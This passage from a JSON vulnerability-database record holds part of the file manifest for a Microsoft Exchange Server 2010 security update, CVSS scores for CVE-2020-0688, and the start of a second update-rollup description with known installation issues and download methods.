8.5.3.76| 317,280| 03-Jan-2020| 05:49| x64 \nOilink.jar| Not applicable| 1,425,202| 03-Jan-2020| 05:49| Not applicable \nOitnsf.id| Not applicable| 4,688| 03-Jan-2020| 05:49| Not applicable \nOit_font_metrics.db| Not applicable| 375,808| 03-Jan-2020| 05:49| Not applicable \nOleconverter.exe| 14.3.470.0| 162,736| 03-Jan-2020| 05:46| x64 \nOswin64.dll| 8.5.3.76| 103,272| 03-Jan-2020| 05:49| x64 \nOutsidein.dll| 8.5.3.76| 296,296| 03-Jan-2020| 05:49| x86 \nOwaauth.dll| 14.3.470.0| 104,880| 03-Jan-2020| 05:46| x64 \nOwasl.xap| Not applicable| 36,280| 03-Jan-2020| 05:46| Not applicable \nOwasmime.msi| Not applicable| 2,297,856| 03-Jan-2020| 05:45| Not applicable \nOwaspell.dll| 14.3.470.0| 50,608| 03-Jan-2020| 05:49| x64 \nPerfnm.h| Not applicable| 47,627| 03-Jan-2020| 05:50| Not applicable \nPerf_common_extrace.dll| 14.3.470.0| 170,416| 03-Jan-2020| 05:48| x64 \nPerf_exchmem.dll| 14.3.470.0| 71,600| 03-Jan-2020| 05:48| x64 \nPerf_mdbsz.dll| 14.3.470.0| 56,752| 03-Jan-2020| 05:50| x64 \nPolicytest.exe| 14.3.470.0| 51,632| 03-Jan-2020| 05:48| x64 \nPremium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \nPreparemoverequesthosting.ps1| Not applicable| 68,859| 03-Jan-2020| 05:47| Not applicable \nPrepare_moverequest.ps1| Not applicable| 69,054| 03-Jan-2020| 05:47| Not applicable \nPublishedstartpage.js| Not applicable| 15,353| 03-Jan-2020| 05:46| Not applicable \nQuietexe.exe| 14.3.470.0| 21,640| 03-Jan-2020| 05:47| x86 \nReadpost.aspx| Not applicable| 6,516| 03-Jan-2020| 05:49| Not applicable \nReadsharingmessage.ascx| Not applicable| 5,235| 03-Jan-2020| 05:49| Not applicable \nReadvoicemailmessage.aspx| Not applicable| 9,320| 03-Jan-2020| 05:49| Not applicable \nRedir.aspx| Not applicable| 1,714| 03-Jan-2020| 05:49| Not applicable \nRedistributeactivedatabases.ps1| Not applicable| 114,387| 03-Jan-2020| 05:47| Not applicable \nReenable_auditloggingagent.ps1| Not applicable| 12,395| 03-Jan-2020| 05:47| Not applicable \nReinstalldefaulttransportagents.ps1| Not applicable| 20,402| 03-Jan-2020| 05:47| Not applicable \nRemoteexchange.ps1| Not applicable| 19,447| 03-Jan-2020| 05:47| Not applicable \nRemovereplicafrompfrecursive.ps1| Not applicable| 13,887| 03-Jan-2020| 05:47| Not applicable \nRemoveuserfrompfrecursive.ps1| Not applicable| 13,191| 03-Jan-2020| 05:47| Not applicable \nReplacereplicaonpfrecursive.ps1| Not applicable| 14,292| 03-Jan-2020| 05:47| Not applicable \nReplaceuserpermissiononpfrecursive.ps1| Not applicable| 13,551| 03-Jan-2020| 05:47| Not applicable \nReplaceuserwithuseronpfrecursive.ps1| Not applicable| 13,547| 03-Jan-2020| 05:47| Not applicable \nReplaycrimsonevents.man| Not applicable| 247,121| 03-Jan-2020| 05:48| Not applicable \nReplaycrimsonmsg.dll| 14.3.470.0| 266,440| 03-Jan-2020| 05:48| x64 \nResetattachmentfilterentry.ps1| Not applicable| 13,332| 03-Jan-2020| 05:47| Not applicable \nResetcasservice.ps1| Not applicable| 19,563| 03-Jan-2020| 05:47| Not applicable \nResetsearchindex.ps1| Not applicable| 14,653| 03-Jan-2020| 05:47| Not applicable \nReset_antispamupdates.ps1| Not applicable| 12,017| 03-Jan-2020| 05:48| Not applicable \nResumemailboxdatabasecopy.ps1| Not applicable| 15,126| 03-Jan-2020| 05:47| Not applicable \nRightsmanagementwrapper.dll| 14.3.470.0| 86,440| 03-Jan-2020| 05:48| x64 \nRollalternateserviceaccountpassword.ps1| Not applicable| 53,296| 03-Jan-2020| 05:47| Not applicable \nRoutingview.exe| 14.3.470.0| 167,560| 03-Jan-2020| 05:48| x86 \nRulesauditmsg.dll| 14.3.470.0| 18,864| 03-Jan-2020| 05:48| x64 \nSccanno.dll| 8.5.3.76| 136,552| 03-Jan-2020| 05:49| x64 \nSccca.dll| 8.5.3.76| 46,944| 03-Jan-2020| 05:49| x64 \nSccch.dll| 8.5.3.76| 201,056| 03-Jan-2020| 05:49| x64 \nSccda.dll| 8.5.3.76| 151,904| 03-Jan-2020| 05:49| x64 \nSccdu.dll| 8.5.3.76| 617,824| 03-Jan-2020| 05:49| x64 \nSccex.dll| 8.5.3.76| 94,560| 03-Jan-2020| 05:49| x64 \nSccfa.dll| 8.5.3.76| 86,880| 03-Jan-2020| 05:49| x64 \nSccfi.dll| 8.5.3.76| 143,712| 03-Jan-2020| 05:49| x64 \nSccfmt.dll| 8.5.3.76| 75,616| 03-Jan-2020| 05:49| x64 \nSccfnt.dll| 8.5.3.76| 504,160| 03-Jan-2020| 05:49| x64 \nSccfut.dll| 8.5.3.76| 862,560| 03-Jan-2020| 05:49| x64 \nSccimg.dll| 8.5.3.76| 426,848| 03-Jan-2020| 05:49| x64 \nSccind.dll| 8.5.3.76| 68,960| 03-Jan-2020| 05:49| x64 \nScclo.dll| 8.5.3.76| 162,656| 03-Jan-2020| 05:49| x64 \nSccole2.dll| 8.5.3.76| 30,568| 03-Jan-2020| 05:49| x64 \nSccsd.dll| 8.5.3.76| 43,360| 03-Jan-2020| 05:49| x64 \nSccut.dll| 8.5.3.76| 2,001,248| 03-Jan-2020| 05:49| x64 \nSccxt.dll| 8.5.3.76| 54,624| 03-Jan-2020| 05:49| x64 \nServicecontrol.ps1| Not applicable| 45,721| 03-Jan-2020| 05:47| Not applicable \nSetup.com| 14.3.470.0| 444,928| 03-Jan-2020| 05:47| Not applicable \nSetup.exe| 14.3.470.0| 603,568| 03-Jan-2020| 05:47| x64 \nSmimeoptions.aspx| Not applicable| 10,805| 03-Jan-2020| 05:49| Not applicable \nSmimeparameterstandalone.js| Not applicable| 10,566| 03-Jan-2020| 05:47| Not applicable \nSmtpreceiveperfcounters.h| Not applicable| 1,014| 03-Jan-2020| 05:46| Not applicable \nSmtpreceiveperfcounters.ini| Not applicable| 11,910| 03-Jan-2020| 05:50| Not applicable \nSmtpreceiveperfcounters.xml| Not applicable| 3,439| 03-Jan-2020| 05:50| Not applicable \nSmtpsendperfcounters.h| Not applicable| 739| 03-Jan-2020| 05:50| Not applicable \nSmtpsendperfcounters.ini| Not applicable| 8,488| 03-Jan-2020| 05:50| Not applicable \nSmtpsendperfcounters.xml| Not applicable| 2,527| 03-Jan-2020| 05:50| Not applicable \nStartdagservermaintenance.ps1| Not applicable| 22,566| 03-Jan-2020| 05:47| Not applicable \nStartpage.aspx| Not applicable| 10,891| 03-Jan-2020| 05:49| Not applicable \nStartpage.js| Not applicable| 177,388| 03-Jan-2020| 05:46| Not applicable \nStopdagservermaintenance.ps1| Not applicable| 15,837| 03-Jan-2020| 05:47| Not applicable \nStore.exe| 14.3.470.0| 6,941,640| 03-Jan-2020| 05:48| x64 \nStoretsconstants.ps1| Not applicable| 15,592| 03-Jan-2020| 05:49| Not applicable \nStoretslibrary.ps1| Not applicable| 25,360| 03-Jan-2020| 05:49| Not applicable \nStore_mapi_net_bin_perf_x64_exrpcperf.dll| 14.3.470.0| 37,296| 03-Jan-2020| 05:46| x64 \nTokenm.dll| 14.3.470.0| 66,984| 03-Jan-2020| 05:46| x64 \nTranscodingservice.exe| 14.3.470.0| 130,992| 03-Jan-2020| 05:46| x64 \nTroubleshoot_ci.ps1| Not applicable| 24,393| 03-Jan-2020| 05:49| Not applicable \nTroubleshoot_databaselatency.ps1| Not applicable| 23,679| 03-Jan-2020| 05:49| Not applicable \nTroubleshoot_databasespace.ps1| Not applicable| 29,030| 03-Jan-2020| 05:49| Not applicable \nUglobal.js| Not applicable| 984,109| 03-Jan-2020| 05:46| Not applicable \nUmservice.exe| 14.3.470.0| 147,080| 03-Jan-2020| 05:46| x86 \nUmworkerprocess.exe| 14.3.470.0| 56,968| 03-Jan-2020| 05:48| x86 \nUninstall_antispamagents.ps1| Not applicable| 12,489| 03-Jan-2020| 05:48| Not applicable \nUpdatecas.ps1| Not applicable| 16,662| 03-Jan-2020| 05:47| Not applicable \nUpdateconfigfiles.ps1| Not applicable| 24,906| 03-Jan-2020| 05:47| Not applicable \nUview.js| Not applicable| 178,233| 03-Jan-2020| 05:46| Not applicable \nVlv.js| Not applicable| 140,614| 03-Jan-2020| 05:46| Not applicable \nVsacad.dll| 8.5.3.76| 14,228,832| 03-Jan-2020| 05:49| x64 \nVsacs.dll| 8.5.3.76| 41,824| 03-Jan-2020| 05:49| x64 \nVsami.dll| 8.5.3.76| 74,592| 03-Jan-2020| 05:49| x64 \nVsarc.dll| 8.5.3.76| 24,928| 03-Jan-2020| 05:49| x64 \nVsasf.dll| 8.5.3.76| 34,144| 03-Jan-2020| 05:49| x64 \nVsbdr.dll| 8.5.3.76| 27,488| 03-Jan-2020| 05:49| x64 \nVsbmp.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVscdrx.dll| 8.5.3.76| 22,880| 03-Jan-2020| 05:49| x64 \nVscgm.dll| 8.5.3.76| 53,600| 03-Jan-2020| 05:49| x64 \nVsdbs.dll| 8.5.3.76| 26,464| 03-Jan-2020| 05:49| x64 \nVsdez.dll| 8.5.3.76| 31,072| 03-Jan-2020| 05:49| x64 \nVsdif.dll| 8.5.3.76| 25,952| 03-Jan-2020| 05:49| x64 \nVsdrw.dll| 8.5.3.76| 36,192| 03-Jan-2020| 05:49| x64 \nVsdx.dll| 8.5.3.76| 30,560| 03-Jan-2020| 05:49| x64 \nVsdxla.dll| 8.5.3.76| 32,096| 03-Jan-2020| 05:49| x64 \nVsdxlm.dll| 8.5.3.76| 80,224| 03-Jan-2020| 05:49| x64 \nVsemf.dll| 8.5.3.76| 64,864| 03-Jan-2020| 05:49| x64 \nVsen4.dll| 8.5.3.76| 32,096| 03-Jan-2020| 05:49| x64 \nVsens.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsenw.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:49| x64 \nVseps.dll| 8.5.3.76| 23,904| 03-Jan-2020| 05:49| x64 \nVseshr.dll| 8.5.3.76| 188,768| 03-Jan-2020| 05:49| x64 \nVsexe2.dll| 8.5.3.76| 53,088| 03-Jan-2020| 05:49| x64 \nVsfax.dll| 8.5.3.76| 26,464| 03-Jan-2020| 05:49| x64 \nVsfcd.dll| 8.5.3.76| 27,488| 03-Jan-2020| 05:49| x64 \nVsfcs.dll| 8.5.3.76| 31,072| 03-Jan-2020| 05:49| x64 \nVsfft.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsflw.dll| 8.5.3.76| 154,464| 03-Jan-2020| 05:49| x64 \nVsfwk.dll| 8.5.3.76| 45,920| 03-Jan-2020| 05:49| x64 \nVsgdsf.dll| 8.5.3.76| 89,440| 03-Jan-2020| 05:49| x64 \nVsgif.dll| 8.5.3.76| 31,584| 03-Jan-2020| 05:49| x64 \nVsgzip.dll| 8.5.3.76| 37,216| 03-Jan-2020| 05:49| x64 \nVshgs.dll| 8.5.3.76| 50,016| 03-Jan-2020| 05:49| x64 \nVshtml.dll| 8.5.3.76| 517,984| 03-Jan-2020| 05:49| x64 \nVshwp.dll| 8.5.3.76| 91,488| 03-Jan-2020| 05:49| x64 \nVshwp2.dll| 8.5.3.76| 111,968| 03-Jan-2020| 05:49| x64 \nVsich.dll| 8.5.3.76| 136,032| 03-Jan-2020| 05:49| x64 \nVsich6.dll| 8.5.3.76| 62,816| 03-Jan-2020| 05:49| x64 \nVsid3.dll| 8.5.3.76| 53,088| 03-Jan-2020| 05:49| x64 \nVsimg.dll| 8.5.3.76| 24,928| 03-Jan-2020| 05:49| x64 \nVsindd.dll| 8.5.3.76| 23,904| 03-Jan-2020| 05:49| x64 \nVsinx.dll| 8.5.3.76| 21,344| 03-Jan-2020| 05:49| x64 \nVsiwok.dll| 8.5.3.76| 36,704| 03-Jan-2020| 05:49| x64 \nVsiwok13.dll| 8.5.3.76| 1,409,384| 03-Jan-2020| 05:49| x64 \nVsiwon.dll| 8.5.3.76| 70,496| 03-Jan-2020| 05:49| x64 \nVsiwop.dll| 8.5.3.76| 40,288| 03-Jan-2020| 05:49| x64 \nVsiwp.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsjbg2.dll| 8.5.3.76| 31,584| 03-Jan-2020| 05:49| x64 \nVsjp2.dll| 8.5.3.76| 249,184| 03-Jan-2020| 05:49| x64 \nVsjw.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVsleg.dll| 8.5.3.76| 41,312| 03-Jan-2020| 05:49| x64 \nVslwp7.dll| 8.5.3.76| 360,288| 03-Jan-2020| 05:49| x64 \nVslzh.dll| 8.5.3.76| 41,824| 03-Jan-2020| 05:49| x64 \nVsm11.dll| 8.5.3.76| 28,512| 03-Jan-2020| 05:49| x64 \nVsmanu.dll| 8.5.3.76| 40,288| 03-Jan-2020| 05:49| x64 \nVsmbox.dll| 8.5.3.76| 40,288| 03-Jan-2020| 05:49| x64 \nVsmcw.dll| 8.5.3.76| 44,384| 03-Jan-2020| 05:49| x64 \nVsmdb.dll| 8.5.3.76| 45,920| 03-Jan-2020| 05:49| x64 \nVsmif.dll| 8.5.3.76| 217,952| 03-Jan-2020| 05:49| x64 \nVsmime.dll| 8.5.3.76| 135,008| 03-Jan-2020| 05:49| x64 \nVsmm.dll| 8.5.3.76| 34,144| 03-Jan-2020| 05:49| x64 \nVsmm4.dll| 8.5.3.76| 36,192| 03-Jan-2020| 05:49| x64 \nVsmmfn.dll| 8.5.3.76| 31,072| 03-Jan-2020| 05:49| x64 \nVsmp.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsmpp.dll| 8.5.3.76| 249,696| 03-Jan-2020| 05:49| x64 \nVsmsg.dll| 8.5.3.76| 96,096| 03-Jan-2020| 05:49| x64 \nVsmsw.dll| 8.5.3.76| 46,432| 03-Jan-2020| 05:49| x64 \nVsmwkd.dll| 8.5.3.76| 26,464| 03-Jan-2020| 05:49| x64 \nVsmwks.dll| 8.5.3.76| 25,440| 03-Jan-2020| 05:49| x64 \nVsmwp2.dll| 8.5.3.76| 49,504| 03-Jan-2020| 05:49| x64 \nVsmwpf.dll| 8.5.3.76| 34,656| 03-Jan-2020| 05:49| x64 \nVsmwrk.dll| 8.5.3.76| 27,488| 03-Jan-2020| 05:49| x64 \nVsnsf.dll| 8.5.3.76| 38,240| 03-Jan-2020| 05:49| x64 \nVsolm.dll| 8.5.3.76| 153,952| 03-Jan-2020| 05:49| x64 \nVsone.dll| 8.5.3.76| 81,760| 03-Jan-2020| 05:49| x64 \nVsow.dll| 8.5.3.76| 24,928| 03-Jan-2020| 05:49| x64 \nVspbm.dll| 8.5.3.76| 24,928| 03-Jan-2020| 05:49| x64 \nVspcl.dll| 8.5.3.76| 23,392| 03-Jan-2020| 05:49| x64 \nVspcx.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:49| x64 \nVspdf.dll| 8.5.3.76| 260,448| 03-Jan-2020| 05:49| x64 \nVspdfi.dll| 8.5.3.76| 278,368| 03-Jan-2020| 05:49| x64 \nVspdx.dll| 8.5.3.76| 31,584| 03-Jan-2020| 05:49| x64 \nVspfs.dll| 8.5.3.76| 41,312| 03-Jan-2020| 05:49| x64 \nVspgl.dll| 8.5.3.76| 59,744| 03-Jan-2020| 05:49| x64 \nVspic.dll| 8.5.3.76| 25,440| 03-Jan-2020| 05:49| x64 \nVspict.dll| 8.5.3.76| 55,136| 03-Jan-2020| 05:49| x64 \nVspng.dll| 8.5.3.76| 53,600| 03-Jan-2020| 05:49| x64 \nVspntg.dll| 8.5.3.76| 22,880| 03-Jan-2020| 05:49| x64 \nVspp12.dll| 8.5.3.76| 131,936| 03-Jan-2020| 05:49| x64 \nVspp2.dll| 8.5.3.76| 72,032| 03-Jan-2020| 05:49| x64 \nVspp7.dll| 8.5.3.76| 77,664| 03-Jan-2020| 05:49| x64 \nVspp97.dll| 8.5.3.76| 227,680| 03-Jan-2020| 05:49| x64 \nVsppl.dll| 8.5.3.76| 39,264| 03-Jan-2020| 05:49| x64 \nVspsd.dll| 8.5.3.76| 23,904| 03-Jan-2020| 05:49| x64 \nVspsp6.dll| 8.5.3.76| 189,792| 03-Jan-2020| 05:49| x64 \nVspst.dll| 8.5.3.76| 82,272| 03-Jan-2020| 05:49| x64 \nVspstf.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVsqa.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsqad.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVsqp6.dll| 8.5.3.76| 53,600| 03-Jan-2020| 05:49| x64 \nVsqp9.dll| 8.5.3.76| 76,128| 03-Jan-2020| 05:49| x64 \nVsqt.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVsrar.dll| 8.5.3.76| 141,152| 03-Jan-2020| 05:49| x64 \nVsras.dll| 8.5.3.76| 24,416| 03-Jan-2020| 05:49| x64 \nVsrbs.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:49| x64 \nVsrft.dll| 8.5.3.76| 36,192| 03-Jan-2020| 05:49| x64 \nVsrfx.dll| 8.5.3.76| 31,584| 03-Jan-2020| 05:49| x64 \nVsriff.dll| 8.5.3.76| 28,000| 03-Jan-2020| 05:49| x64 \nVsrtf.dll| 8.5.3.76| 171,872| 03-Jan-2020| 05:49| x64 \nVssam.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:49| x64 \nVssc5.dll| 8.5.3.76| 32,608| 03-Jan-2020| 05:49| x64 \nVssdw.dll| 8.5.3.76| 29,536| 03-Jan-2020| 05:49| x64 \nVsshw3.dll| 8.5.3.76| 40,288| 03-Jan-2020| 05:49| x64 \nVssmd.dll| 8.5.3.76| 27,488| 03-Jan-2020| 05:49| x64 \nVssms.dll| 8.5.3.76| 28,000| 03-Jan-2020| 05:49| x64 \nVssmt.dll| 8.5.3.76| 33,632| 03-Jan-2020| 05:49| x64 \nVssnap.dll| 8.5.3.76| 31,072| 03-Jan-2020| 05:49| x64 \nVsso6.dll| 8.5.3.76| 306,016| 03-Jan-2020| 05:49| x64 \nVssoc.dll| 8.5.3.76| 43,360| 03-Jan-2020| 05:49| x64 \nVssoc6.dll| 8.5.3.76| 285,536| 03-Jan-2020| 05:49| x64 \nVssoi.dll| 8.5.3.76| 40,800| 03-Jan-2020| 05:49| x64 \nVssoi6.dll| 8.5.3.76| 304,992| 03-Jan-2020| 05:50| x64 \nVssow.dll| 8.5.3.76| 34,144| 03-Jan-2020| 05:50| x64 \nVsspt.dll| 8.5.3.76| 28,000| 03-Jan-2020| 05:50| x64 \nVsssml.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:50| x64 \nVsswf.dll| 8.5.3.76| 34,144| 03-Jan-2020| 05:50| x64 \nVstaz.dll| 8.5.3.76| 36,192| 03-Jan-2020| 05:50| x64 \nVstext.dll| 8.5.3.76| 35,168| 03-Jan-2020| 05:50| x64 \nVstga.dll| 8.5.3.76| 26,976| 03-Jan-2020| 05:50| x64 \nVstif6.dll| 8.5.3.76| 103,776| 03-Jan-2020| 05:50| x64 \nVstw.dll| 8.5.3.76| 34,144| 03-Jan-2020| 05:50| x64 \nVstxt.dll| 8.5.3.76| 38,752| 03-Jan-2020| 05:50| x64 \nVsvcrd.dll| 8.5.3.76| 82,272| 03-Jan-2020| 05:50| x64 \nVsviso.dll| 8.5.3.76| 205,664| 03-Jan-2020| 05:50| x64 \nVsvsdx.dll| 8.5.3.76| 47,456| 03-Jan-2020| 05:50| x64 \nVsvw3.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:50| x64 \nVsw12.dll| 8.5.3.76| 221,536| 03-Jan-2020| 05:50| x64 \nVsw6.dll| 8.5.3.76| 138,080| 03-Jan-2020| 05:50| x64 \nVsw97.dll| 8.5.3.76| 236,896| 03-Jan-2020| 05:50| x64 \nVswbmp.dll| 8.5.3.76| 22,368| 03-Jan-2020| 05:50| x64 \nVswg2.dll| 8.5.3.76| 47,968| 03-Jan-2020| 05:50| x64 \nVswk4.dll| 8.5.3.76| 103,264| 03-Jan-2020| 05:50| x64 \nVswk6.dll| 8.5.3.76| 154,464| 03-Jan-2020| 05:50| x64 \nVswks.dll| 8.5.3.76| 48,480| 03-Jan-2020| 05:50| x64 \nVswm.dll| 8.5.3.76| 30,048| 03-Jan-2020| 05:50| x64 \nVswmf.dll| 8.5.3.76| 45,920| 03-Jan-2020| 05:50| x64 \nVswml.dll| 8.5.3.76| 68,960| 03-Jan-2020| 05:50| x64 \nVsword.dll| 8.5.3.76| 86,880| 03-Jan-2020| 05:50| x64 \nVswork.dll| 8.5.3.76| 36,192| 03-Jan-2020| 05:50| x64 \nVswp5.dll| 8.5.3.76| 75,616| 03-Jan-2020| 05:50| x64 \nVswp6.dll| 8.5.3.76| 107,360| 03-Jan-2020| 05:50| x64 \nVswpf.dll| 8.5.3.76| 30,560| 03-Jan-2020| 05:50| x64 \nVswpg.dll| 8.5.3.76| 48,480| 03-Jan-2020| 05:50| x64 \nVswpg2.dll| 8.5.3.76| 57,184| 03-Jan-2020| 05:50| x64 \nVswpl.dll| 8.5.3.76| 39,264| 03-Jan-2020| 05:50| x64 \nVswpml.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:50| x64 \nVswpw.dll| 8.5.3.76| 68,448| 03-Jan-2020| 05:50| x64 \nVsws.dll| 8.5.3.76| 37,728| 03-Jan-2020| 05:50| x64 \nVsws2.dll| 8.5.3.76| 29,024| 03-Jan-2020| 05:50| x64 \nVsxl12.dll| 8.5.3.76| 261,472| 03-Jan-2020| 05:50| x64 \nVsxl5.dll| 8.5.3.76| 289,632| 03-Jan-2020| 05:50| x64 \nVsxlsb.dll| 8.5.3.76| 244,064| 03-Jan-2020| 05:50| x64 \nVsxml.dll| 8.5.3.76| 31,584| 03-Jan-2020| 05:50| x64 \nVsxmp.dll| 8.5.3.76| 22,368| 03-Jan-2020| 05:50| x64 \nVsxps.dll| 8.5.3.76| 51,552| 03-Jan-2020| 05:50| x64 \nVsxy.dll| 8.5.3.76| 35,680| 03-Jan-2020| 05:50| x64 \nVsyim.dll| 8.5.3.76| 30,560| 03-Jan-2020| 05:50| x64 \nVszip.dll| 8.5.3.76| 27,488| 03-Jan-2020| 05:50| x64 \nWatson.config.xml| Not applicable| 36,442| 03-Jan-2020| 05:49| Not applicable \nWeb.config_053c31bdd6824e95b35d61b0a5e7b62d| Not applicable| 143,640| 03-Jan-2020| 05:47| Not applicable \nWeb.config_cb9a6ac9d1164e879b0b2887c9452d4f| Not applicable| 137,151| 03-Jan-2020| 05:49| Not applicable \nWebreadyview.aspx| Not applicable| 1,061| 03-Jan-2020| 05:49| Not applicable \nWebreadyviewbody.aspx| Not applicable| 1,292| 03-Jan-2020| 05:49| Not applicable \nWebreadyviewhead.aspx| Not applicable| 7,406| 03-Jan-2020| 05:49| Not applicable \nWizardproperties.js| Not applicable| 189,547| 03-Jan-2020| 05:46| Not applicable \nWizcmd.exe| 14.3.470.0| 29,896| 03-Jan-2020| 05:49| x86 \nWsbexchange.exe| 14.3.470.0| 131,496| 03-Jan-2020| 05:46| x64 \nWvcore.dll| 8.5.3.76| 3,251,040| 03-Jan-2020| 05:50| x64 \nX400prox.dll| 14.3.470.0| 105,392| 03-Jan-2020| 05:45| x64 \n_02bdcebd3d694db585f8e38f74a7767e_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_083c0d59e0a749f2b10174c00cb6727e_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_24d2e35f00d7423c902e58d04c126642_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_3184a6f4759943848cf58593791ac971_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_3539f8afe1684c36847f808f0c76d024_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_486632cb7cbe412b8a2954012f7e9c7f_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_50ca03193abf48aca295b3ec864fcd68_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_545db0f907844150956a0c069a3a0556_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_5e224a55a0fa465e817e18cec8854723_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_64f60ad194cd4344bca49df649ac7b36_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_68e440eb9ffa4b54b3d7490524f7f878_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_6b0d5c59049a498aa09173d08300a443_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_71a730c62e764989bd2b2d205dd874b4_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_756c11efe6574dba874273443609eb8b_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_791aef9789df465da46941ee38757a31_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_7b9793f8_5acd_4ef8_83a6_46e957c909a0_error.aspx| Not applicable| 8,363| 03-Jan-2020| 05:49| Not applicable \n_7e3dc44156954eacac20b5767cd0ebd7_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_81ebbb77ed854ee784951876098c52e9_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_9495e7eba02649c6a26bea7209a2f1e1_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n_9e665be76e144ac89a7d8b37611b752e_premium.css| Not applicable| 202,304| 03-Jan-2020| 05:47| Not applicable \n \nHow to get help and support for this security updateProtect yourself online: [Windows Security support](<https://support.microsoft.com/hub/4099151>)Learn how we guard against cyber threats: [Microsoft Security](<https://www.microsoft.com/security>)\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2020-02-11T08:00:00", "type": "mskb", "title": "Description of the security update for Microsoft Exchange Server 2010: February 11, 2020", "bulletinFamily": "microsoft", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.0, "vectorString": "AV:N/AC:L/Au:S/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "SINGLE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2020-0688"], "modified": "2020-02-11T08:00:00", "id": "KB4536989", "href": "https://support.microsoft.com/en-us/help/4536989", "cvss": {"score": 9.0, "vector": "AV:N/AC:L/Au:S/C:C/I:C/A:C"}}, {"lastseen": "2022-05-12T14:32:17", "description": "None\nThis update rollup is a security update that resolves vulnerabilities in Microsoft Exchange Server. To learn more about these vulnerabilities, see the following Common Vulnerabilities and Exposures (CVE):\n\n * [CVE-2020-0692 | Microsoft Exchange Server Elevation of Privilege Vulnerability](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0692>)\n * [CVE-2020-0688 | Microsoft Exchange Memory Corruption Vulnerability](<https://portal.msrc.microsoft.com/en-us/security-guidance/advisory/CVE-2020-0688>)\n\n## Known issues in this security update\n\n * When you try to manually install this security update by double-clicking the update file (.msp) to run it in Normal mode (that is, not as an administrator), some files are not correctly updated.When this issue occurs, you don\u2019t receive an error message or any indication that the security update was not correctly installed. However, Outlook Web Access (OWA) and the Exchange Control Panel (ECP) may stop working. \n \nThis issue occurs on servers that are using user account control (UAC). The issue occurs because the security update doesn\u2019t correctly stop certain Exchange-related services.To avoid this issue, follow these steps to manually install this security update:\n 1. Select **Start**, and type **cmd**.\n 2. In the results, right-click **Command Prompt**, and then select **Run as administrator**.\n 3. If the **User Account Control** dialog box appears, verify that the default action is the action that you want, and then select **Continue**.\n 4. Type the full path of the .msp file, and then press Enter.\nThis issue does not occur when you install the update through Microsoft Update.\n * Exchange services may remain in a disabled state after you install this security update. This condition does not indicate that the update is not installed correctly. This condition may occur if the service control scripts experience a problem when they try to return Exchange services to their usual state. \n \nTo fix this issue, use Services Manager to restore the startup type to **Automatic**, and then start the affected Exchange services manually. To avoid this issue, run the security update at an elevated command prompt. For more information about how to open an elevated Command Prompt window, see [Start a Command Prompt as an Administrator](<https://technet.microsoft.com/en-us/library/cc947813\\(v=ws.10\\).aspx>).\n\n## How to get and install the update\n\n### Method 1: Microsoft Update\n\nThis update is available through Windows Update. When you turn on automatic updating, this update will be downloaded and installed automatically. For more information about how to turn on automatic updating, see [Windows Update: FAQ](<https://support.microsoft.com/help/12373/windows-update-faq>).\n\n### Method 2: Microsoft Update Catalog\n\nTo get the standalone package for this update, go to the [Microsoft Update Catalog](<http://www.catalog.update.microsoft.com/Search.aspx?q=KB4536987>) website.\n\n### Method 3: Microsoft Download Center\n\nYou can get the standalone update package through the 